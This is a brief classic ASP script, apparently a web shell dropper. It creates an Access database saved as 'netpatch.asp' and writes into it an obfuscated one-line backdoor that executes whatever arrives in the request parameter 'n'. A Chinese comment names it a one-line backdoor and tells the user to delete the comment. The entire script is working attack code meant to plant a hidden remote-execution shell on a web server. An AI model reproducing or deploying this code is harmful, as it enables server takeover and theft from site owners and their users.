<% 'code by netpatch dim dbfile,sql db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog") ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile set ydb=nothing if err.number=0 then Response.Write dbfile & " 创建成功<br> " else Response.Write "创建失败,原因: " & err.description Response.End end if Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile sql="CREATE TABLE fdata([data] Memo)" conn.execute(sql) Set rs = CreateObject("ADODB.RecordSet") rs.Open "FData", conn, 1, 3 rs.addnew rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉!一句话后门 execute request(“n”)) rs.update %>